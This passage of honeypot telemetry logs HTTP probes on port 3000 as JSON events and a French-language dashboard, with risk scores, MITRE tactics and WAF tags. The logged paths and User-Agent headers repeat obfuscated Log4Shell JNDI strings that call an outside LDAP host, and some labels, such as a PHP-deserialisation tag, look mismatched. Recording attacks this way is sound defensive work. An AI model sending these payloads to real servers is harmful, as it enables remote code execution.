"request_line": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81n:i1:-s}${clq:0jnt:-:}${vh:b28j:eadq:-j}${h0o:-a}${t5k:ztb:p3fb:-v}${ihs:zmy:-a}${x:6w:-.}${x:oj0:-v}${72v:ef:37vk:-e}${l:-r}${nc:gd:wr8:-s}${d5:x0rc:unj0:-i}${m:-o}${y7l:-n}}${y:b:-.}${8uod:x25:-1}${9:c:gus:-b}${2:15r4:05hy:-0}${t3q:x:-d}${v0w:9yrm:x:-c}$",
"request_sample": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${kcw:vdma:6e8:-c}${lz:fyk:l:--}${${p:-s}${vn2:-y}${tu8v:81",
"payload_snippet": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}",
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%"
},
"attack_stage": "probe",
"mitre_tactics": [
"TA0007",
"TA0001"
],
"mitre": "TA0007",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "41c42c85b5377fa6e645114bee3c5ac7ace5067b",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${\u2026",
"request_line": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${\u2026",
"http_user_agent": "${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${wd:j:-l}${nqd:-d}${d4mc:61q:f:-a}${xb:qic:-p}${q58c:wxs6:\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}",
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:\u2026",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"classification_reason_label_fr": "Type \u00ab port_3000_tcp \u00bb (signaux protocolaires) \u00b7 confiance 50%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 60\/100 (Moyen) \u2014 MITRE TA0007 \u2014 confiance 68 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 68,
"confidence_breakdown": {
"waf": 100,
"classification": 60,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 60,
"correlation_boost": 18
},
"attack_stage": "probe",
"attack_stage_label": "Sonde \/ probe",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 60,
"risk_label": "Moyen",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0162"
],
"tags_summary_labels_fr": [
"pat-0162"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0007",
"mitre_technique": "TA0007",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${\u2026",
"request_line": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}${7nv:0uo:he:-\/}${y4rf:-\/}${r:-P}${sacj:-A}${hg:-l}${x6:eo6s:i1w8:-0}${\u2026",
"http_user_agent": "${${g37:gu:-j}${v7a:-n}${k359:-d}${fge:rm39:-i}${rp24:xg:-:}${wd:j:-l}${nqd:-d}${d4mc:61q:f:-a}${xb:qic:-p}${q58c:wxs6:\u2026",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "port 3000 tcp \u00b7 via HTTP:3000 \u00b7 (sonde \/ probe) \u00b7 \u2192 \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:\u2026",
"evidence_snippet": "GET \/${${xnc:-j}${lum:-n}${f94:bm:edjz:-d}${kabi:s:-i}${xbfa:-:}${q:utzv:-l}${nzx:1wdp:7fy:-d}${p:oml:-a}${1ze:-p}${awqy:j8l:-:}",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 50 % \u2014 Motif catalogue confirm\u00e9 \u00b7 Classification nomm\u00e9e non retenue \u2014 preuves insuffisantes \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 68 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": true,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": false,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_slowloris",
"net_web_probe"
],
"asn_dc_heuristic": true
}
30/07/2026 18:37:26 UTC
TCP
3000 · HTTP
deser php attack
deser php attack · via HTTP:3000 · (tentative d'exploit) · → /${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b…
Élevée
Élevé · 69
Détails
Voir
Étape
Tentative d'exploit
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0001
TA0001
TA0002
Protocole
GET /${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rb… UA Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537…
Émulateur
HTTP
WAF
26
Recommandation
Investiguer
Tags
950324:rce-0
950326:rce-0
950468:nosqli-3
950470:nosqli-3
Cible HTTP
GET
/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-/}${32d:ifjc:-/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61:-c}
TLS SNI
—
Capteur
paris-1
Méthode
GET
Port
3000
Chemin / cible
/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-/}${32d:ifjc:-/}${4r…
Pourquoi cette classification : Type « deser_php_attack » (signaux protocolaires) · confiance 95%
Confiance classification
100%
Corrélation +18
Risque capteur
Élevé
· 69
Confiance : Confiance 95 % — Motif catalogue confirmé · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0817
Technique MITRE
TA0001
Tactiques MITRE
TA0001
TA0002
Motifs de détection (base)
ET PHP serialize O:
CRS 933135
Ligne de requête
GET /${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-/}${32d:ifjc:-/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61
User-Agent
Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36
Règles WAF
rce-0
nosqli-3
Payload (extrait)
GET /${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}$
Requête brute (extrait)
GET /${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-/}${32d:ifjc:-/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${my
Meta JSON brut
{
"protocol_emulated": true,
"emulator_response": "485454502f312e3120343034204e6f7420466f756e640d0a582d506f77657265642d42793a20457870726573730d0a436f6e74656e742d547970653a20746578742f68746d6c0d0a436f6e74656e742d4c656e6774683a2031320d0a0d0a43616e6e6f7420474554202f",
"emulator_response_len": 106,
"http_header_count": 5,
"http_query_params": 0,
"http_path_depth": 3,
"http_path_ext": "}${o417:6r:-g}${hl:34:-o}${fh6:t6p:m7u:-o}${ag:vr4:7lm:-g}}",
"http_ua_hash": "9468a4a53a2f2fd9ea96db22dc9dd9bb6ce38b7c",
"http_host_hash": "46f5955a67387b75de712e640b0687c888a438e5",
"http_target_hash": "8a6470c9c441c11061d1cafdafa007b6194155b9",
"http_referer_hash": null,
"http_method": "GET",
"http_ua_is_cli": false,
"http_ua_is_browser": true,
"bytes_in": 4096,
"payload_entropy": 4.875108789169943,
"port_category": "registered",
"org": "Google LLC",
"service": "http",
"app_proto": "http",
"asn": 396982,
"country": "US",
"dst_port": 3000,
"risk_waf": 100,
"risk_classification": 85,
"risk_behavior": 0,
"risk_geo": 40,
"risk_protocol": 33,
"risk_novelty": 25,
"risk_boost": 0,
"risk_granularity": 5.6,
"risk_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25
},
"risk_score": 69,
"tag_count": 5,
"anomaly_count": 0,
"campaign_key": "5d128592a51bcf6fe28350c0f854469205d490a5",
"event_fingerprint": "281a30df07db480cd49fd60e1bce57c1f745d1b6",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"confidence": 1,
"classification_confidence": 1,
"precision_score": 86,
"precision_signals": [
"pat-0817"
],
"kb_rule_ids": [
"pat-0817"
],
"matched_patterns": [
"pat-0817",
"pat-0162"
],
"matched_pattern_names": [
"ET PHP serialize O:",
"CRS 933135"
],
"pattern_ids": [
"pat-0817",
"pat-0162"
],
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 18
},
"named_classification_skipped": false,
"service_name": "http",
"risk_confidence_factor": 95,
"city": null,
"is_datacenter": true,
"is_tor_hint": false,
"geo": {
"country": "US",
"asn": 396982,
"org": "Google LLC",
"is_datacenter": true,
"is_tor_hint": false
},
"fingerprint": {
"http_ua_hash": "2994862c1f8176879ed381354c9dd245",
"payload_hash": "5196ff610bbaf2029b9bae856a83bef7",
"path_pattern_hash": "e6b75d85b704bbe732f879ffdbd0ac16"
},
"target_context": {
"dst_port": 3000,
"service": "http",
"service_name": "http",
"risk_score": 69
},
"method": "GET",
"path": "\/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61:-c}",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61",
"payload_snippet": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}$",
"evidence": {
"method": "GET",
"path": "\/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61:-c}",
"user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"waf_tags": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3"
],
"waf_rule_names": [
"rce-0",
"nosqli-3"
],
"request_line": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${myxw:4hv:-s}${7:5bwr:-:}${c2i:anj9:z:-j}${uvo:s:o:-a}${ay:-v}${f2ws:-a}${6kfi:7i93:j14:-.}${j0v:-v}${lr:e:mj0v:-e}${t:4a7:-r}${4:d3np:av7:-s}${rf:zsx8:h3i:-i}${xb:-o}${3tc:q37k:yvc:-n}}${sh:7:-.}${iz2:yi1:37o:-1}${d:r:dxy:-b}${3aj:2kf:-0}${yq:e7:-d}${9:qy:61",
"request_sample": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-0}${2f:v:-c}${xsfz:x:eu3:--}${${r6:-s}${iq:zn:7qu:-y}${my",
"payload_snippet": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}$",
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%"
},
"attack_stage": "exploit_attempt",
"mitre_tactics": [
"TA0001",
"TA0002"
],
"mitre": "TA0001",
"threat_family": [
"unknown"
],
"recommended_client_action": "investigate",
"policy_mode": "intelligence",
"sensor_role": "threat_intelligence",
"event_signature": "46a1183457f7770b76bb40bf267eaf9e9940310e",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4r\u2026",
"request_line": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"evidence_snippet": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}$",
"attack_vector": "deser php attack \u00b7 via HTTP:3000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b\u2026",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"site_display": {
"classification": null,
"classification_reason": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"classification_reason_label_fr": "Type \u00ab deser_php_attack \u00bb (signaux protocolaires) \u00b7 confiance 95%",
"executive_one_liner_fr": "Activit\u00e9 suspecte \u2014 risque 69\/100 (\u00c9lev\u00e9) \u2014 MITRE TA0001 \u2014 confiance 100 % \u2014 via HTTP \u2014 multi-protocole (2 protocoles \u00b7 5 min)",
"confidence_pct": 100,
"confidence_breakdown": {
"waf": 100,
"classification": 85,
"behavior": 0,
"geo": 40,
"protocol": 33,
"novelty": 25,
"risk_score": 69,
"correlation_boost": 18
},
"attack_stage": "exploit_attempt",
"attack_stage_label": "Tentative d'exploit",
"attack_chain_stage": "reconnaissance",
"attack_chain_stage_label_fr": "Reconnaissance",
"risk_score": 69,
"risk_label": "\u00c9lev\u00e9",
"service_name": "http",
"service_label_fr": "HTTP",
"dst_port": 3000,
"protocol_emulated": true,
"tags_summary": [
"pat-0817"
],
"tags_summary_labels_fr": [
"pat-0817"
],
"recommended_action": "investigate",
"recommended_action_label": "Investiguer",
"mitre": "TA0001",
"mitre_technique": "TA0001",
"persona_hostname": "mail.sensor-1.internal",
"persona_service_banner": "honeypot-http",
"correlation_flags": [
"scan_coordonn\u00e9",
"multi_protocol_correlation"
],
"correlation_flags_labels_fr": [
"Scan coordonn\u00e9",
"Multi-protocole corr\u00e9l\u00e9 (5 min)"
],
"sensor_role": "threat_intelligence",
"sensor_role_label_fr": "Renseignement menaces",
"confidence_hint_fr": "Corr\u00e9lation +18",
"protocol_details": {
"http_method": "GET",
"http_path": "\/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4r\u2026",
"request_line": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}${9f:-:}${4byo:-\/}${32d:ifjc:-\/}${4rwg:-P}${ke:y:-A}${qpia:sw:4:-l}${l:-\u2026",
"http_user_agent": "Mozilla\/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit\/537.36 (KHTML, like Gecko) Chrome\/110.0.0.0 Safari\/537.36",
"port": 3000,
"service": "http",
"service_label_fr": "HTTP"
},
"attack_vector": "deser php attack \u00b7 via HTTP:3000 \u00b7 (tentative d'exploit) \u00b7 \u2192 \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b\u2026",
"evidence_snippet": "GET \/${${6q:j:gz:-j}${9nd0:belk:wt:-n}${0s:-d}${q1b:hc:45x:-i}${jnd:wb:-:}${d:-l}${o4:a:-d}${9fs:0zb:rbxl:-a}${n5xf:5we3:lf:-p}$",
"target_port_label": "3000 \u00b7 HTTP",
"emulator_service": "http",
"confidence_reason": "Confiance 95 % \u2014 Motif catalogue confirm\u00e9 \u00b7 4 tag(s) WAF",
"confidence_factors_fr": "Confiance 100 % \u2014 Score WAF 100 \u00b7 Bonus corr\u00e9lation +18 \u00b7 4 tag(s) WAF",
"campaign_hint_fr": "Campagne de scan \u2014 plusieurs IP du m\u00eame \/24 (34.19.127.0\/24, \u22653 pairs)",
"attack_phases_timeline_fr": [
{
"key": "recon",
"label_fr": "Reconnaissance",
"active": false,
"kind": "stage"
},
{
"key": "probe",
"label_fr": "Sonde \/ probe",
"active": false,
"kind": "stage"
},
{
"key": "exploit_attempt",
"label_fr": "Tentative d'exploit",
"active": true,
"kind": "stage"
},
{
"key": "post_exploit",
"label_fr": "Post-exploitation",
"active": false,
"kind": "stage"
},
{
"key": "c2",
"label_fr": "Commande & contr\u00f4le",
"active": false,
"kind": "stage"
},
{
"key": "reconnaissance",
"label_fr": "Reconnaissance",
"active": true,
"kind": "chain",
"hint_fr": null
}
]
},
"meta_truncated": true,
"honeypot_persona": {
"sensor_id": "sensor-1",
"hostname": "mail.sensor-1.internal",
"mail_host": "mail.sensor-1.internal",
"ldap_dc": "dc.sensor-1.internal",
"k8s_cluster": "hp-sensor-1",
"domain": "sensor-1.internal",
"service_role": "http",
"service_banner": "honeypot-http",
"service_os": "linux",
"dst_port": "3000"
},
"hostname": "mail.sensor-1.internal",
"sensor_id": "sensor-1",
"multi_protocol_correlation": true,
"multi_protocol_count": 2,
"multi_protocol_sample": [
"http",
"weblogic"
],
"multi_protocol_window_s": 300,
"coordinated_scan": true,
"coordinated_subnet": "34.19.127.0\/24",
"coordinated_ip_count": 15,
"behavior_alerts": [
"coordinated_scan",
"multi_protocol_correlation"
],
"correlation_confidence_boost": 18,
"attack_chain_stage": "reconnaissance",
"ban_policy": "advisory_investigate",
"tags_list": [
"950324:rce-0",
"950326:rce-0",
"950468:nosqli-3",
"950470:nosqli-3",
"net_web_probe"
],
"asn_dc_heuristic": true,
"behavior_alert_count": 1,
"behavior_priority": 96
}
30/07/2026 18:37:25 UTC
TCP
3000 · HTTP
Sonde port 3000/TCP
port 3000 tcp · via HTTP:3000 · (sonde / probe)
Élevée
Moyen · 60
Détails
Voir
Étape
Sonde / probe
Chaîne
Reconnaissance
Persona
mail.sensor-1.internal
Rôle capteur
Renseignement menaces
Corrélations
Scan coordonné
Multi-protocole corrélé (5 min)
MITRE
TA0007
TA0007
TA0001
Protocole
POST / UA ${${5:w2b4:czo:-j}${x08:a3l7:-n}${zm14:ry3:-d}${y:1:-i}${bj:j58…
Émulateur
HTTP
WAF
23
Recommandation
Investiguer
Tags
950326:rce-0
950382:rce-14
950470:nosqli-3
950734:sap-sapcontrol-path
Cible HTTP
POST
/
TLS SNI
—
Capteur
paris-1
Méthode
POST
Port
3000
Chemin / cible
/
Preuve honeypot — Sonde port 3000/TCP
Connexion détectée sur le port 3000 (TCP) du capteur simulé.
Pourquoi cette classification : Type « port_3000_tcp » (signaux protocolaires) · confiance 50%
Confiance classification
68%
Corrélation +18
Risque capteur
Moyen
· 60
Confiance : Confiance 50 % — Motif catalogue confirmé · Classification nommée non retenue — preuves insuffisantes · 4 tag(s) WAF
Protocole émulé
1 Signaux
pat-0162
Technique MITRE
TA0007
Tactiques MITRE
TA0007
TA0001
Motifs de détection (base)
CRS 933135
Ligne de requête
POST / HTTP/1.1
User-Agent
